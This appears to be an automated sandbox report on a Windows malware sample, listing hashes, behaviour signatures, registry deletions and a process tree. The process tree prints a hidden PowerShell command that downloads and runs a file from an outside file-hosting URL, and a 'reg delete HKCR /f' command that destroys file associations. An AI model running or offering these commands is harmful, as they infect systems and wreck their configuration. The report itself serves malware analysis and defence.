Analysis
- user interaction
yes - max time kernel
52s - max time network
190s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
30/07/2026, 22:32
Static task
static1
Behavioral task
behavioral1
Sample
group The Russian Virus.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
group The Russian Virus.exe
Resource
win10ltsc2021-20260513-en
Behavioral task
behavioral3
Sample
group The Russian Virus.exe
Resource
win11-20260513-en
Errors
General
- Target group The Russian Virus.exe
- Size 37KB
- Sample260730-2f8hta1ydx
- SHA256 a1f66f5437642699de99affe972485eef50248ccfd03a07c377d4ec90b84beb8
- MD5 365e844e7e8bfbca1f7157634a891fe6
- SHA1 869d6f565ed5b618ad4a8e051d44e4220cbaf7f4
- SHA512 afb2671428b184cfbe4c650e235d12b581eb24575150efdcfa28bd99dd055a71d960d3c7d4394ec34a717ff373268c253317972e6af8dad27bd2a49f617cb5ad
- SSDEEP 768:DrZsKzIS2hxSgRIuLWCckZN0TWnH97+vTkl:DrZsKjuL4Iq6H97+vTkl
- TLSH T191031A8EFF898433C38DAABD586252128730F5675513F78E09CCA1F626D33864A593DB
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 1048 powershell.exe 3 1048 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1048 powershell.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Modifies system executable filetype association 2 TTPs 42 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\{00021401-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\lnkfile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\Compatibility reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\CLSID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\OpenContainingFolderMenu reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\tabsets reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\PintoStartScreen reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\IconHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser reg.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5720 cmd.exe - Modifies registry class 64 IoCs
description ioc Process Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0013-0001-0075-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0061-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0177-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\6E815EB96CCE9A53884E7857C57002F0 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00020872-0000-0000-C000-000000000046}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.compositefont reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.ppt\PersistentHandler reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0087-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0353-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0022-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\Extensions\ContractId\Windows.BarcodeScannerProvider\PackageId\Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{305104B5-98B5-11CF-BB82-00AA00BDCE0B}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{51973C37-CB0C-11D0-B5C9-00A0244A0E7A}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\OpenWithList\AcroRd32.exe reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DA4E3DA0-D07D-11d0-BD50-00A0C911CE86}\Instance\{71985F4B-1CA1-11D3-9CC8-00C04F7971E0} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8800A266DCF6DD54E97A86760485EA5D\SourceList reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493480-5A91-11CF-8700-00AA0060263B} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.protocol\insiderhub reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5512D124-5CC6-11CF-8D67-00AA00BDCE1D} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0288-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0306-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Dependencies\Microsoft.VS.VC_RuntimeMinimumVSU_amd64,v14 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000C0333-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\Interface\{b5c25645-7426-433f-8a5f-42b7ff27a7b2} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{D5FE005B-2836-485E-B1F9-89D91AA24FD4} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FF7F1DDC-E8E2-487C-B944-DA4C185447E2} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5504BE45-A83B-4808-900A-3A5C36E7F77A} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0164-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000244E9-0000-0000-C000-000000000046}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0268-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00024709-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F66D002A-A615-414B-BD81-CFFC93F27BA8}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftofficehub_8wekyb3d8bbwe\Children reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0000050B-0000-0010-8000-00AA006D2EA4}\VersionIndependentProgID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{02AF6DD2-77E6-44DF-B3E1-57CF1476D8EA}\Implemented Categories reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B54934CD-71A6-4698-BDC2-AFEA5B86504C} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\dbfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3059007C-98B5-11CF-BB82-00AA00BDCE0B}\TypeLib reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{a04a6058-ed97-5833-be47-9104cf0ce396} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0112-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0042-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0324-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00024442-0000-0000-C000-000000000046}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00067276-0000-0000-C000-000000000046}\TypeLib reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000C030D-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346C-5A91-11CF-8700-00AA0060263B}\TypeLib reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0100-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\Extensions\ContractId\Windows.Launch\PackageId\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.21302.1000_neutral__cw5n1h2txyewy\ActivatableClassId\App reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7170C337-AFE2-42C0-BF0C-9AC9AE67E461}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{97775480-9C9C-475A-8B19-366A2223708A} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{ec52d38a-5340-4351-ac18-392d10a08217} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.protocol\xboxliveapp-1297287741\AppX4ra53nzs9xcdyxf1wgcp31xefscv1jnk reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0086-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Chart reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\Extensions\ContractId\Windows.AppService\PackageId\Microsoft.AAD.BrokerPlugin_1000.19580.1000.0_neutral_neutral_cw5n1h2txyewy\ActivatableClassId reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-4239071319-2881602905-407801514-2077749337-330983930-4104761926-1855635098\Children reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.xlsb\ShellEx\{8895b1c6-b41f-4c1c-a562-0d564250836f} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0034-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0040-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0047-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\LiveScript Author\OLEScript reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0172-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0196-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.fileTypeAssociation\.avi\AppXk0g4vb8gvt7b93tg50ybcy892pge6jmt reg.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1048 powershell.exe 1048 powershell.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 6028 group The Russian Virus.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 6028 group The Russian Virus.exe Token: SeDebugPrivilege 6028 group The Russian Virus.exe Token: 33 2480 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 2480 AUDIODG.EXE Token: SeDebugPrivilege 1048 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 6028 wrote to memory of 1048 6028 group The Russian Virus.exe 81 PID 6028 wrote to memory of 5720 6028 group The Russian Virus.exe 83 PID 5720 wrote to memory of 1444 5720 cmd.exe 85 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\group The Russian Virus.exe"C:\Users\Admin\AppData\Local\Temp\group The Russian Virus.exe"1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6028 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1048
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k reg delete HKCR /f2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5720 -
C:\Windows\system32\reg.exereg delete HKCR /f3⤵
- Modifies system executable filetype association
- Modifies registry class
PID:1444
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004E4 0x00000000000004EC1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2480
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_blqyvxnp.wov.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH